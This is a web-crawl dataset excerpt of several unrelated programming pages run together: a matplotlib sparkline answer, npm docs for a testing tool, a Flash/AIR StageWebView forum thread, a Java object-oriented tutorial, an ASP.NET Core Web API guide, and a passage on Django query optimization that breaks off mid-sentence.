text
stringlengths
454
608k
url
stringlengths
17
896
dump
stringclasses
91 values
source
stringclasses
1 value
word_count
int64
101
114k
flesch_reading_ease
float64
50
104
I am working on matplotlib and created some graphs like bar chart, bubble chart and others. Can some one please explain with an example what is difference between line graph and sparkline graph and how to draw spark line graphs in python using matplotlib ? for example with the following code import matplotlib.pyplot as plt import numpy as np x=[1,2,3,4,5] y=[5,7,2,6,2] plt.plot(x, y) plt.show() A sparkline graph is just a regular plot with all the axis removed. quite simple to do with matplotlib: import matplotlib.pyplot as plt import numpy as np # create some random data x = np.cumsum(np.random.rand(1000)-0.5) # plot it fig, ax = plt.subplots(1,1,figsize=(10,3)) plt.plot(x, color='k') plt.plot(len(x)-1, x[-1], color='r', marker='o') # remove all the axes for k,v in ax.spines.items(): v.set_visible(False) ax.set_xticks([]) ax.set_yticks([]) #show it plt.show()
https://codedump.io/share/W31nhkGzeJcF/1/creating-sparklines-using-matplotlib-in-python
CC-MAIN-2016-50
refinedweb
167
69.68
$ cnpm install @s-ui/test Zero config testing tool (1) Setup properly a testing env in JS is hard. There is a lot deps and is easy for us install differents setups in differents project. To avoid that now to run a test suit over your code you need install only one tool. Your tests must be in a test folder in your project root. Each test file should follow the patter: *Spec.js. . ├── package.json <- Project package.json └── src │ ├── detail.js │ └── user.js └── test ├── detail │ └── detailSpec.js └── user └── userSpec.js npm install @s-ui/test --save-dev Usage: sui-test [options] [command] Options: --version output the version number -h, --help output usage information Commands: browser|b Run tests in the browser server|s Run tests in node help [cmd] display help for [cmd] Usage: sui-test browser [options] Options: -W, --watch Run in watch mode -C, --ci Run a Firefox headless for CI testing -P, --pattern <pattern> Path pattern to include (default: test/**/*Spec.js) -I, --ignore-pattern <ignorePattern> Path pattern to ignore for testing (default: false) --src-pattern <srcPattern> Define the source directory (default: src/**/*.js) -h, --help output usage information Description: Run tests in Chorme Examples: $ sui-test browser Usage: sui-test server [options] Options: -I, --inspect Inspect node process -W, --watch Run in watch mode -T, --timeout Customize test timeout -P, --pattern <pattern> Path pattern to include (default: test) -h, --help output usage information Description: Run tests in node Examples: $ sui-test server -W sui-test e2e [options] sui-test e2e assumes that your e2e tests are located in the ./test-e2e/ folder of your project. Important: If you need to have fixtures files (or helpers), put them in the ./test-e2e/fixtures so they aren't executed as spec files. If you need to have support files, then create a ./test-e2e/support directory, it will be detected and added to the cypress.json configuration. Support files runs before every single spec file and you don't have to import it in spec file. Example: ./test-e2e/support/index.js /* globals Cypress, cy */ Cypress.Commands.add('login', () => { // Here the command code }) Then you can use in your specs cy.login() Usage: sui-test-e2e [options] Options: -B, --baseUrl <baseUrl> URL of the site to execute tests (in ./test/e2e/) on. -S, --screenshotsOnError Take screenshots of page on any failure. -U, --userAgentAppend <userAgentAppend> Append string to UserAgent header. -UA, --userAgent <userAgent> Overwrite string to UserAgent header. -G, --gui Run the tests in GUI mode. -C, --ci CI Mode, reduces memory consumption -h, --help output usage information sui-test e2e --gui Tests are executed with cypress. It provides a special GUI to help you write your tests with a totally new experiences. Check the docs for more info. Important: Cypress is not installed as dependency of @s-ui/test. It will be auto-installed only on first sui-test e2e execution. sui-test e2e --scope='sub/folder' You can execute only a subset of tests in ./test-e2e/. The example above would only execute tests in ./test-e2e/sub/folder. sui-test e2e --userAgent='My custom string' Cypress can be detected as a robot if your server has that kind of protection or firewall. In this case, if your server allows an exception by header, you can overwrite the UserAgent header a string that cypress will set when opening your site with the browser. sui-test e2e --userAgentAppend='My custom string' Cypress can be detected as a robot if your server has that kind of protection or firewall. In this case, if your server allows an exception by header, you can append to the UserAgent header a string that cypress will add when opening your site with the browser. sui-test e2e --screenshotsOnError If defined, any error on your tests will create a screenshot of that moment in the ./.tmp/test-e2e/screenshots folder of your project. The descriptor by environment is a patch with the purpose of add some extra functionality to our mocha describe and it methods. First of all, the patcher MUST BE APPLIED on each test that we want to have the extra methods so at the top of ourExampleSpec.js we will add the next code: import { descriptorsByEnvironmentPatcher } from '@s-ui/test/lib/descriptor-environment-patcher' descriptorsByEnvironmentPatcher() And that's it, from that line you will have the next methods added to the base of the mocha lib: Just in the same way as you have been using the describe or it functions earlier: describe.client('Users use case', () => { it('should....', () => { // ... }) }) describe.server('Users use case', () => { it('should....', () => { // ... }) }) You can also have it() by environment: describe('Another use case', () => { it.client('should....', () => { // ... }) it.server('should....', () => { // ... }) }) What about if you want to run only one describe but only for client? You can use the .only function in the same way as you've been using earlier. describe.client.only('Another use case', () => { it('should....', () => { // ... }) }) Please refer to the main repo contributing info.
https://developer.aliyun.com/mirror/npm/package/@s-ui/test
CC-MAIN-2020-24
refinedweb
829
64.61
MaskMoney(evt) { if (!(evt.keyCode == 46 || (evt.keyCode >= 48 && evt.keyCode <= 57))) return false; var parts = evt.srcElement.value.split if (parts.length > 2) return false; if (evt.keyCode == 46) return (parts.length == 1); if (parts[0].length >= 14) return false; if (parts.length == 2 && parts[1].length >= 2) return false; } It's hard to get what you want in a perfect way - that would take some quite complicated JavaScript. Bob \d{1,11}\.\d{2} Be seen. Boost your question’s priority for more expert views and faster solutions All server side, no coding. but i want to do it from JavaScript. so please can anyone Help me. thank you var re = new RegExp("^\d{1,11}\.\d{2}$" return re.test(s); } Returns true if the string matches the required pattern false otherwise. how to make the format i want to make as stated in my question by this custom control. thank you <ew:NumericBox Not sure about the maximum length though. If you are considering going this way, suggest you download the control and have a play. function Validate(s) { var re = new RegExp("^\\d{1,11}\\.\\d{2 return re.test(s); } This should work. i want to ask you a question" 1 - what is the event that i should use. 2 - what should i pass to this param "S". 3 - what is "test". thank you So much for your reply thank you for your quick reply. this is the code i wrote this.TextBox1.Attributes.A function Validate() { var s = document.getElementById('< var re = new RegExp("^\\d{1,11}\\.\\d{2 return re.test(s); } please tell me what is wrong, it is not working. thank you i dont want anything to happned just i want to if the press any char. like a,d anything that is not number then it is not written at all, in the same time the user have the ability to write only numbers and 1 decimal point and i dont want the no. of digits befor the decimal point to exceed 14 digit + 2 numbers after the decimal point i hope you understand me now. thank you so much. please if you have any more question ask me. function MaskMoney(evt) { if (!(evt.keyCode == 46 || (evt.keyCode >= 48 && evt.keyCode <= 57))) return false; var parts = evt.srcElement.value.split if (parts.length > 2) return false; if (parts.length == 1 && evt.keyCode == 46) return true; if (parts[0].length >= 14) return false; if (parts.length == 2 && parts[1].length >= 2) return false; } You woul then set your onkeypress event to "return MaskMoney(event);". You might need to tweak the script a bit. i want it to take 14 digits + 2 digits after the decimal point. thank you now it take only 14 digits + decimal point only it can take 2 decimal point if they are not after each other 123.33. thank you. so much God Bless you this is my mail <email deleted> it is a pleasure for me if you added me if you are using MSN. other thing please if you have any project i we can do it for you we 15$ per/h we are in egypt. we already have client in USA. thank you. i have a lot of questions i want to ask you. so how can you help me i already post them in this site but i didnt see your reply can you give me your mail. thank you.
https://www.experts-exchange.com/questions/22054595/Asp-Net-JavaScript-only-Decimals.html
CC-MAIN-2018-17
refinedweb
579
87.62
In this tutorial we will learn the various object oriented programming methods with java and their implementations like interfaces, constructors, this keyword, super keyword,etc… - To get brief details about object oriented programming with java just go through the following steps below : A.Creating a java type with classes and interfaces, constructors, this keyword, super keyword : – - Class : – Classes is a blueprint, templates. Classes are used to create object. Class is define the keyword class. Class name same as dot java file name. It is case sensitive. Java allows you to define user-defined classes. - Interfaces : – Java does not support multiple inheritance so we can use interface. Its concept is almost like abstract class. In interface you can declare a method, but you cannot define a method. You cannot create object of interface. You can simply use keyword interface. Interface provide you security. - Constructor : – Constructor name is same name as class name, it has no return type. System have in-built feature of constructor, if you do not define constructor, then the compiler will creates a default constructor implicitly. Multiple constructors we can provide with different signatures. When you create any object constructor called automatically. There is two types of constructors in java: default constructor which do not contain any parameter and it is created if and only if there is no constructor defined and parameterized constructor which contains parameters to pass parameters on creation of objects. To create objects for a class constructors are required. - This : – this keyword we can used in constructor level as well as field level. this keyword we can used for reference. This keyword we must write in the constructor’s first line. This this keyword is used for call constructor of the same class in java and used to call overloaded constructor. We can call methods of class by using this. this keyword also used to return object. It is a non-static and cannot be used in static context, it means we cannot use this keyword inside main method in java. - Super : – It can be used in method as well as constructor. It is used to call super class constructor. It is non-static and cannot be used in static context, it means we cannot use super keyword inside main method in java. It is used to store the super class object into sub class. Example : public class TypeOfVegy implements Vegetable//create class and implements interface { public void green()//method { System.out.println ("Vegetables are green"); //print statement } public void unhygienic()//method 2 { System.out.println ("Vegetables are unhygienic"); } public void healthy()// method 3 { System.out.println ("Vegetables are always healthy"); } public static void main(String[] args)//main method { TypeOfVegy tof = new TypeOfVegy (); //create class object tof.green (); //call method 1 tof.unhygienic (); //call method 2 tof.healthy (); //call method 3 } } //save interface as Vegetable interface Vegetable //create interface { public void green();//define method 1 public void unhygienic();//define method 2 public void healthy();//define method 3 } Output : Vegetables are green Vegetables are unhygienic Vegetables are always healthy Example : public class DefaultConstructor //class { public DefaultConstructor ()//default constructor { System.out.println ("This is Default Constructor.!"); //print statement } public static void main (String[] args)//main { DefaultConstructor dc = new DefaultConstructor (); //create object of class } } Output : This is Default Constructor.! Example : public class ParameterConstructor //create class { private String name; // define String public ParameterConstructor(String str) // parameterized constructor { this.name = str; //this used for reference System.out.println ("This is Parameterized Constructor.!"); //print statement System.out.println ("The value is:"+str); //print value } public static void main(String[] args)//main method { ParameterConstructor pc = new ParameterConstructor ("Chingi"); //create object of class } } Output : This is Parameterized Constructor.! The value is: Chingi Example : package This; class Employee { int Eid; //define integer String Ename; //define string Employee (int Eid, String Ename)//parameterized constructor { this.Eid = Eid; //this is used for solve ambiguity between instance variable //and parameter. this.Ename = Ename; //this is used for solve ambiguity between instance //variable and parameter. } void show()// declare method {System.out.println (Eid+" "+Ename+" ") ;} //print employee detail public static void main(String args[])//main method { Employee e1 = new Employee (101,"Pritam"); //create object and put values Employee e2 = new Employee (102,"Priyan"); //create object and put values e1.show (); //call method e2.show (); //call method}} Output : 101 Pritam 102 Priyan Example : //save as Fruit package abc; class Fruit { String colour = "yellow"; } //save as Banana package abc; class Banana extends Fruit //extends class fruit { String banana; //define string void show () //declare method { System.out.println (super.colour);//will print colour of fruit now } public static void main (String [] args) //main method { Banana a = new Banana (); //create object of class a.show (); //call method } } Output : yellow B.Inner Classes and Closures : – - Inner Classes : – Inner class is that a one class define inside another class. Two categories of inner class is that static inner class and non-static inner class. Static inner class is called as nested class. Any class which is not declared inside another class is known as nested class. And non-static inner class is called as inner class. We also use inner classes to implement helper class. In static inner class cannot have instances, but in non-static inner class can have instances which belong to the outer class. Nested class help in maintenance and also improves the encapsulation. Two additional types of inner classes. Within the body of a method you can declare an inner class these classes are known as local classes. Local classes are defined in a block, which contain group of zero or more statements with balanced braces. It has access to local variable. It can only access local variables that are declared final. This classes is similar to inner classes because they cannot declare or define any static member. We can also declare an inner class within the body of a method without naming the class, this class is called as anonymous class. This is helps you to make your code more short. Anonymous classes are expressions, it means you define the class in another expression. It has access to the members of its enclosing class. You cannot declare it as final, so it cannot access local variables in its enclosing scope. Static initializers or member interfaces you cannot declare in an anonymous class. Fields, extra methods, instance initializers and local variables are declare in anonymous classes. Constructors are not allowed in anonymous class. Four types of inner classes: – a.Static Member Classes : –It has access to all static members of its containing class, including private member also. It can be declared with its own access control modifiers. It cannot have the same name as any of its enclosing classes. b.Member Classes : –This is a member of a class. c.Local Classes : –This is defined within a block. d.Anonymous Classes : –It has no name. Example : package InnerClass; public class InnerClassExample { public static void main(String args[]) { //creating local inner class inside method class LocalInner { public void show() { System.out.println ("This is a Local inner class..!"); } } //creating instance of local inner class LocalInner loc = new LocalInner (); loc.show (); //calling method from local inner class //Creating anonymous inner class in java for implementing thread Thread anonymous = new Thread () { public void run(){ System.out.println ("This is an Anonymous inner class..!"); } }; anonymous.start ();//call method //example of creating instance of inner class InnerClassExample ine = new InnerClassExample (); InnerClass ic = ine.new InnerClass (); ic.display (); //calling method of inner class } //Creating Inner class in Java private class InnerClass { public void display() { System.out.println ("This is an Inner class..!"); } } } Output : This is a Local inner class..! This is an Anonymous inner class..! This is an Inner class..! Thus, we had a brief lookout over object oriented programming with java.
https://blog.eduonix.com/java-programming-2/object-oriented-programming-with-java/
CC-MAIN-2021-04
refinedweb
1,286
50.02
StageWebView could not be foundmattdwm Jan 19, 2011 4:51 PM I found an example of stagewebview in help. I just put the code on the first frame. I'm getting an error saying flash.media.StageWebView could not be found. How do I use this? using Flash Pro CS5 import flash.display.MovieClip; import flash.media.StageWebView; import flash.geom.Rectangle; import flash.events.KeyboardEvent; import flash.ui.Keyboard; import flash.desktop.NativeApplication; var webView:StageWebView = new StageWebView(); function StageWebViewExample() { webView.stage = this.stage; webView.viewPort = new Rectangle(0,0,stage.stageWidth,stage.stageHeight); webView.loadURL( "" ); stage.addEventListener( KeyboardEvent.KEY_DOWN, onKey ); } function onKey( event:KeyboardEvent ):void { if (event.keyCode == Keyboard.BACK && webView.isHistoryBackEnabled) { trace("Back."); webView.historyBack(); event.preventDefault(); } if (event.keyCode == Keyboard.SEARCH && webView.isHistoryForwardEnabled) { trace("Forward."); webView.historyForward(); } } 1. Re: StageWebView could not be foundoscartong Mar 22, 2011 2:01 AM (in response to mattdwm) i also have this problem, maybe we need to configure the sdk for flash cs5 somewhere ? 2. Re: StageWebView could not be foundjonrustad Mar 22, 2011 4:10 PM (in response to oscartong) Yep, wish I could help. I dealing with the same thing. I did download the new AIR 2.6 sdk thinking that might help, but I've tried installing it everywhere, but to no avail. It will import flash.media.* and flash.media.Video, so I think i'm missing the StageWebView which should be part of 2.6. 3. Re: StageWebView could not be foundelmonty2 Apr 27, 2011 6:41 AM (in response to jonrustad) Same problem here. The documentation for StageWebView says that it is in AIR 2.5, which is supposedly supported in CS5. Is the documentation wrong? 4. Re: StageWebView could not be foundOMA2k May 17, 2011 9:42 AM (in response to mattdwm) That also happened to me, but I finally solved it. Of course, not thanks to this thread, which I found before finding the solution, but no one ever cared to reply :-( In my case, this problem happened because I initially started the Flash Builder project as a "Flash Player" project, and then I changed the "Actionscript Settings" inside Flash Professional to "AIR", but that's not enough. When starting an AIR project in Flash Builder it automatically adds the "airglobal.swc" library to the project. If you create a Flash Player project (FB adds "playerglobal.swf" instead) and then change the ActionScript settings to AIR, then you must add "airglobal.swc" manually. Just go to Project / Properties in Flash Builder, and then, in the "ActionScript Build Path" section click the "Add SWC..." button and paste this: ${FLASHPRO_APPCONFIG}\ActionScript 3.0\AIR2.6\airglobal.swc (change AIR2.6 to whatever you have, if you don't use that version) That's it! :-) OMA 5. Re: StageWebView could not be foundjonrustad May 21, 2011 12:40 AM (in response to OMA2k) Aaaah! I bet that's it. I've moved on to a different project, but will try it when I get back to that one. Thanks for the reply. 6. Re: StageWebView could not be foundrachalmers Aug 24, 2011 9:33 PM (in response to elmonty2) I'd say yes, because same problem here. I even pointed directly to the 2.5 version of the swc C:\Program Files (x86)\Adobe\Adobe Flash CS5\AIK2.5\frameworks\libs\air\airglogal.swc ... and no StageWebView For the price of going to CS5.5, I may as well go all out and go to Apple and develp iPhone apps in the native code. 7. Re: StageWebView could not be foundrachalmers Aug 24, 2011 9:39 PM (in response to mattdwm) package twitter { import com.swfjunkie.tweetr.Tweetr; import com.swfjunkie.tweetr.events.TweetEvent; import com.swfjunkie.tweetr.oauth.OAuth; import com.swfjunkie.tweetr.oauth.events.OAuthEvent; import flash.display.*; import flash.events.*; import flash.geom.Rectangle; import flash.media.StageWebView; <<<<<<<<<<<<<<<<<<<< import flash.net.*; import flash.net.SharedObject; import flash.net.SharedObjectFlushStatus; import flash.net.navigateToURL; import flash.system.Capabilities; import org.FlepStudio.Tipper.Scroller; public class TwitterWidget extends MovieClip That's the only import missing in this. However - also have another unsolved issue: private function onWebViewURLChange(e:LocationChangeEvent):void LocationChangeEvent is throwing a 1046:type not found error 8. Re: StageWebView could not be foundOMA2k Aug 25, 2011 10:04 AM (in response to rachalmers) Robert.A.Chalmers wrote: For the price of going to CS5.5, I may as well go all out and go to Apple and develp iPhone apps in the native code. StageWebView is not present in AIR 2.5. That's why it doesn't work for you.But you don't really need to upgrade to CS5.5 to use the latest version of AIR. The AIR SDK is free, and you can download it from here: Current version as of now is AIR 2.7.1. The version you're using (AIR 2.5) is pretty old (from last year). The easiest way to use it is renaming the "AIK2.5" folder inside your Flash program folder to something else. Then create a new AIK2.5 folder and place inside the contents of the new 2.7.1 SDK. 9. Re: StageWebView could not be foundrachalmers Aug 25, 2011 2:12 PM (in response to OMA2k) Thanks OMA2K, I put it in AIK2.7.1, and pointed the Actionscript library to it. It's found it, but the TwitterWidger thing doesn't want to do it as in for iPhone, so now at least I can experiment with it and hopefully get it working. I'm actually trying to get a really simple thing going here. only the Twitter auth bit is really a handfull. Pseudo code: app is running. user taps [send] button .... first time, user validates login to Twitter. this is stored so not necessary any successive time. ... pre-built message (tweet) is sent to twitter users timeline. return and wait till user presses [send] again I have another version of this TwitterWidger running on the iphone, which uses the PIN authorization method. However, when the web page opens to set and retrieve the authorization pin, the app closes, thus closing the page that is waiting for the pin to be entered. This second version, the PINLESS version - doesn't work at all. It actually just keeps looping. I'm beginning to think it just can't be done on the iPhone, which is a pain. both TwitterApp and TwitterWidget are from thanks for the help. Much appreciated.
https://forums.adobe.com/thread/780330
CC-MAIN-2019-04
refinedweb
1,083
60.72
say 1.2.3 Super-simple templated printing. E.g.: say("Hello, {whoever}!", indent=1) print, format, and %, evolved. Q: It’s been forty years since C introduced printf() and the basic formatted printing of positional parameters. Isn’t it time for an upgrade? A: Yes! ZOMG, yes! say goes beyond Python’s print statement/function, format function/method, and % string interpolation operator with simpler, higher-level facilities. For example: from say import say x, nums, name = 12, list(range(4)), 'Fred' say("There are {x} things.") say("Nums has {len(nums)} items: {nums}") say("Name: {name!r}") yields: There are 12 things. Nums has 4 items: [0, 1, 2, 3] Name: 'Fred' At this level, say is basically a simpler, nicer recasting of: from __future__ import print_function print("There are {0} things.".format(x)) print("Nums has {0} items: {1}".format(len(nums), nums)) print("Name: {0!r}".format(name)) The more items being printed, and the more complicated the format invocation, the more valuable this simple inline specification becomes. One final example: say.title('Discovered') say("Name: {name:style=blue}", indent='+1') say("Age: {age:style=blue}", indent='+1') Prints a nicely formatted text block, with a propert title and indentation, and just the variable information in blue. Beyond DRY, Pythonic templates that piggyback the Python’s well-proven format() method, syntax, and underlying engine, say’s virtues include: - A single output mechanism that works the same in either Python 2 or Python 3. - A companion fmt() object for string formatting. - Higher-order line formatting such as line numbering, indentation, and wrapping built in. - Convenient methods for common formatting items such as titles, horizontal separators, and vertical whitespace. - Easy styled output, including ANSI colors and user-defined styles and text transforms. - Easy output to one or more files, with no additional code. - Super-duper template/text aggregator objects for easily building, reading, and writing multi-line texts. Take it for a test drive today! See also the full documentation at Read the Docs. - :: 3.4 - Programming Language :: Python :: Implementation :: CPython - Programming Language :: Python :: Implementation :: PyPy - Topic :: Printing - Topic :: Software Development :: Libraries :: Python Modules - Package Index Owner: Jonathan.Eunice - DOAP record: say-1.2.3.xml
https://pypi.python.org/pypi/say/1.2.3
CC-MAIN-2017-34
refinedweb
367
50.33
I’m trying to compile my first OpenCL program on Visual Studio. Here’s the code: #include <stdio.h> #include <stdlib.h> #include <CL/cl.h> int main(int argc, char **argv){ cl_platform_id test; cl_uint num; cl_uint ok = 1; clGetPlatformIDs(ok, &test, &num); return 0; } I’ve installed the CUDA Toolkit, and I’ve added (CUDA_INC_PATH) to my additional include directories, (CUDA_LIB_PATH) to my additional library directories, and opencl.lib to additional dependencies. When I build the program, I get this error: “error LNK2019: unresolved external symbol _clGetPlatformIDs@12 referenced in function _main.” My computer is running Windows 7 with Visual Studio 2010 and a NVS 3100M graphics card (supports OpenCL). Any ideas what’s wrong?
https://forums.developer.nvidia.com/t/opencl-compiler-errors/25377
CC-MAIN-2022-27
refinedweb
116
51.44
How to Build an Array of Pointers in C Programming An array of pointers would be an array that holds memory locations. Such a construction is often necessary in the C programming language. Remember that an array of pointers is really an array of strings, shown in Crazy Pointer Arrays. That makes topic digestion easier. CRAZY POINTER ARRAYS #include <stdio.h> int main() { char *fruit[] = { "watermelon", "banana", "pear", "apple", "coconut", "grape", "blueberry" }; int x; for(x=0;x<7;x++) puts(fruit[x]); return(0); } An array of pointers is declared in Crazy Pointer Arrays. It works similarly to an array of strings, although in this construction you don’t need to specifically count individual string lengths. That’s because the array is really an array of pointers, or memory locations. Each string dwells somewhere in memory. The array simply lists where each one starts. Exercise 1: Type the source code from Crazy Pointer Arrays into your editor. Build and run to confirm that it works. Which part of Crazy Pointer Arrays do you think could be improved? Exercise 2: Using information below as your guide, replace the array notation at Line 17 in Crazy Pointer Arrays with pointer notation. The reason that your solution to Exercise 2 works (assuming that you got it correct) is that the fruit array contains pointers. The value of each element is another pointer. But that’s nothing; consider Pointers-to-Pointers Example. POINTERS-TO-POINTERS EXAMPLE #include <stdio.h> int main() { char *fruit[] = { "watermelon", "banana", "pear", "apple", "coconut", "grape", "blueberry" }; int x; for(x=0;x<7;x++) { putchar(**(fruit+x)); putchar('n'); } return(0); } Line 18 in Pointers-to-Pointers Example contains the dreaded, feared, avoided, and cursed ** notation, or double-pointer notation. Exercise 3: Carefully type the source code from Pointers-to-Pointers Example into your editor. Compile and run. To understand the **(fruit+x) construct, you must work from the inside out: fruit+x Variable fruit contains a memory address. It’s a pointer! The x is a value incrementing by one unit. In this case, the unit is an address because all elements of the fruit array are pointers. *(fruit+x) You’ve seen the preceding construction already. It’s the contents of the address fruit+x. From the code, fruit is an array of pointers. So the result of the preceding operation is . . . a pointer! **(fruit+x) Finally, you get a pointer to a pointer or — put better — a peeker to a peeker. If the inside peeker is a memory address, the outside peeker (the first asterisk) is the content of that memory address. It helps to remember that the ** operator is almost always (but not exclusively) tied to an array of pointers; or, if you want to make it simple, to an array of strings. The first column is the address of an array of pointers, the second column is the pointer itself (a string), and the column on the right is the first character of the string. If you’re still confused, consider mulling over pointer notation and array notation: In the table, pointer notation (using variable ptr) is compared with the equivalent array notation (using variable array). Exercise 4: Rework your source code from Exercise 3 so that each individual character in a string is displayed, one at a time, by using the putchar() function. If you can write the entire putchar() operation as a while loop’s condition, you really understand the material.
https://www.dummies.com/programming/c/how-to-build-an-array-of-pointers-in-c-programming/
CC-MAIN-2019-22
refinedweb
579
56.35
How to setup a minimal Web API in ASP.NET Core Feel like playing around with the new .NET Core bits? Do you wonder how little code is needed to setup a Web API on .NET Core? Then this post is right up your alley! Prerequisites The .NET Core bits(dot.net), Visual Studio Code (code.visualstudio.com), but any editor will do Setup The plan is to create a new project with the help of the new .NET Core tools. Then add just enough dependencies and code to get a basic Web API up and running. Creating the Web API - Create a folder for the project and position in the folder in your favorite CLI - Type “dotnet new” to create a basic project - Type “code .” to open up Visual Studio Code - Add the following to the dependencies section in project.json "Microsoft.AspNetCore.Server.Kestrel": "1.0.0-rc2-final", "Microsoft.AspNetCore.Mvc": "1.0.0-rc2-final" - Run a package restore with “dotnet restore” - Open Program.cs and add a using statement for “Microsoft.AspNetCore.Hosting” - Modify the Main method in Program.cs it accordingly public static void Main(string[] args) { var host = new WebHostBuilder() .UseKestrel() .UseStartup<Startup>() .Build(); host.Run(); } - Add a Startup.cs file in the root and edit it as follows using Microsoft.AspNetCore.Builder; using Microsoft.Extensions.DependencyInjection; namespace ConsoleApplication { public class Startup { public void ConfigureServices(IServiceCollection services) { services.AddMvc(); } public void Configure(IApplicationBuilder app) { app.UseMvc(); } } } - Add a “Controllers” folder - Add a GrettingController.cs file in the folder and add the following code using Microsoft.AspNetCore.Mvc; namespace ConsoleApplication { [Route("api/[controller]")] public class GreetingController { [HttpGet] public string Get() { return "Greetings from .NET Core Web API!"; } } } - Position in the root folder and build the project with “dotnet build” - Run the project with “dotnet run” - Open a browser and hit “” Given everything worked as planned, you’ll now see the merry greeting in your browser! Get the code The code is available on my GitHub account. Happy Coding! 🙂 Minimal Web API on ASP.NET Core 8 thoughts on “Minimal Web API on ASP.NET Core” Pingback: How to Master ASP.NET Core Web API Attribute Routing | mobilemancer Step 8. Startup.c should be Startup.cs. Sorry about that, it’s fixed now. Thanks for the help 🙂 Tried this, but the server didnt start How did you try and start it, what error did you get? I can see this article as somewhat a breakdown for the yeoman scaffolding “yo aspnet”. Yes, I haven’t looked at the scaffold in a while, but this is what should be done basically. Pingback: How to: Build a Web API on ASP.NET Core for an Aurelia SPA - mobilemancer
http://mobilemancer.com/2016/06/03/minimal-web-api-on-asp-net-core/
CC-MAIN-2017-22
refinedweb
451
60.72
> It's been drawn to my attention not to use bash from the ports > collection, because if one of it's dependencies (gettext or libiconv) > fails or is updated significantly, it could break, and prevent login. > The suggested solution was to use a base shell (such as sh) and append > 'bash -l' to .shrc to automatically enter bash. Advertising Personally, I use zsh for root's shell, and I just have the port compile it statically, so I don't have to worry about a broken dependency. There are other caveats, of course. In my case, I just throw this in /etc/make.conf: .if ${.CURDIR:M*/shells/zsh} NO_SHARED=yes .endif Regards, Josh _______________________________________________ freebsd-questions@freebsd.org mailing list To unsubscribe, send any mail to "[EMAIL PROTECTED]"
https://www.mail-archive.com/freebsd-questions@freebsd.org/msg178227.html
CC-MAIN-2018-17
refinedweb
129
65.22
Recently I have devoted a lot of time to website optimization and now I would like to talk about it. This article will explain the use of the select_related and prefetch_related methods in QuerySet, as well as their differences. I will also try to explain why Django is considered slow, and why this is still not the case. Of course, Django is slower in many ways than the same Flask, but at the same time in most projects the problem is not in Django itself, but rather in the absence of optimizing database queries. Therefore, let's optimize the EVILEG website forum page . And the Django Silk battery will help us with this, which serves to measure the number of queries to the database, as well as measure their duration. Install and configure Django Silk Install Django Silk pip install django-silk Add it to INSTALLED_APPS INSTALLED_APPS = [ ... 'silk' ] and also add MIDDLEWARE MIDDLEWARE = [ ... 'silk.middleware.SilkyMiddleware', ... ] You also need to add urls from django-silk so that you can view request statistics. from django.urls import path, include urlpatterns = [ path('silk/', include('silk.urls', namespace='silk')) ] And the last step is applying the django-silk migration python manage.py migrate Note to Django Silk Do not use Django Silk in a production server. At least with the settings shown in this article. If you already have good traffic on the site, for example 1,400 people a day, then with these settings Django Silk will simply eat all your resources. Therefore, experiment only on the development server. Optimization Work First, let's see how bad everything is with database queries on the forum’s main page. For clarity, let's see how this page looks. To do this, we just need to download the page we are interested in and see the statistics of the request in Django Silk. At the moment, all requests will be shown in debug mode. The situation is depressing, because loading the main page of the forum accounts for: - 325 queries to the database - spent 155 ms - 568 ms full page This is a very time-consuming task, especially since for each request a connection to the database is established, and then all the necessary data must still be loaded into the objects. The resource consumption is huge. I think this is one of the reasons why many people consider Django to be slow, but in fact they just did not understand how to configure and optimize database queries. We carry out optimization Let's see what the original QuerySet looks like for the main page of the forum. def get_queryset(self): return ForumTopic.objects.all() As you can see, nothing complicated. It is such requests that are usually written at the very beginning of using Django ORM. And only then the questions begin, how to optimize the performance of Django. The fact is that the initial queryset, which is required to display this page, takes only ForumTopic objects from the database, but does not take other objects that are added to ForeignKey fields of the ForumTopic data model. Therefore Django is forced to automatically load all immensely large objects when they are required. But the programmer knows what is required for each individual page and can indicate to Django all the immense objects that need to be picked up in advance with one request. Let's do it with select_related. select_related This method allows you to collect additional objects from other tables in one query. This will allow you to combine many queries into one and speed up the selection, as well as reduce the overhead of connecting to the database, since the number of connections is already very much reduced. Let's try to select some data in one query using selected_related . I know that for my ForumTopic model, the following fields can be selected as related : - article - forum article - answer - reply, message that was marked as an answer in the forum thread - section - section in which the question was asked - user - user who asked this question The initial database query can be modified as follows: def get_queryset(self, **kwargs): return ForumTopic.objects.all().select_related('article', 'answer', 'section', 'user') Then look at the result in Django Silk The situation with the number of requests has become better - 256 queries to the database - spent 131 ms - 444 ms full page The following figure shows a line with a new query that has 4 join operations. As you can see, the duration of this request was 19.225 ms . Already a good result. But I know for sure that this is not the limit. The fact is that the structure of the main page of the forum is quite complicated, and it shows the number of posts in each topic, the last message, a link to the answer of the solution, as well as a request to the user profile for answers. And here comes the turn of the prefetch_related method. prefetch_related prefetch_related differs in that it allows you to load not only objects that are used in ForeignKey fields of the model, but also those objects whose models have ForeignKey field on the model, which is involved in the main database request data. That is, you can load messages in a topic with a separate request. In this situation, I want to load the following fields. - comments - these are messages in a topic, ForumPost model - comments__user - foreign key on the user who left the message - answer___parent - ForumTopic's foreign key is the response that was marked with the topic’s resolution. Theoretically, it would be possible to pick up this object through select_related , but the query structure has become very complex, which would not allow select_related to be used efficiently. Yes, yes, the use of this method should be reasonable. Performance, of course, improves, but sometimes it’s better to collect some data with a separate request. Then the database query already looks like this: def get_queryset(self, **kwargs): return ForumTopic.objects.all().select_related('article', 'answer', 'section', 'user').prefetch_related( 'comments', 'comments__user', 'answer___parent' ) And in Django Silk I get the following result As a result, we have the following: - 6 queries to the database - spent on 26 ms - 148 ms full page This is just a great result that can be achieved. At the same time, the user already feels that the page is loading very quickly. But this is not all, note that the request, which has 4 join operations, is still in the region of 17-20 ms. Can we do something about this? Of course we can, and for this we will need to use the only method. only The only method allows you to pick up only those columns that we need to display the page. But in this case, it will be necessary to take into account all the columns that are required, otherwise each missed Django column will be picked up by a separate request. So I wrote the following database query def get_queryset(self, **kwargs): return ForumTopic.objects.all().select_related('article', 'answer', 'section', 'user').prefetch_related( 'comments', 'comments__user', 'answer___parent' ).only( 'user__first_name', 'user__last_name', 'section__title', 'section__title_ru', 'article__title', 'article__title_ru' ) And got the following result - 6 queries to the database - spent on 20 ms - 136 ms full page Конечно, я привожу лучшие возможные результаты, поскольку всегда имеются некоторые колебания в измерениях, но по данному скриншоту видно, что длительность основного запроса снизилась с 17-19 мс до 11-13 мс . Помимо прочего выборка только нужных полей снижает и потребление памяти, если из базы данных забираются например очень крупные куски текстовых данных, которые при этом не используются в рендеринге страницы. Now let's play around a bit with query select_related and prefetch_related Additional optimization Having read up to this point, you, I think, were convinced that use select_related allows 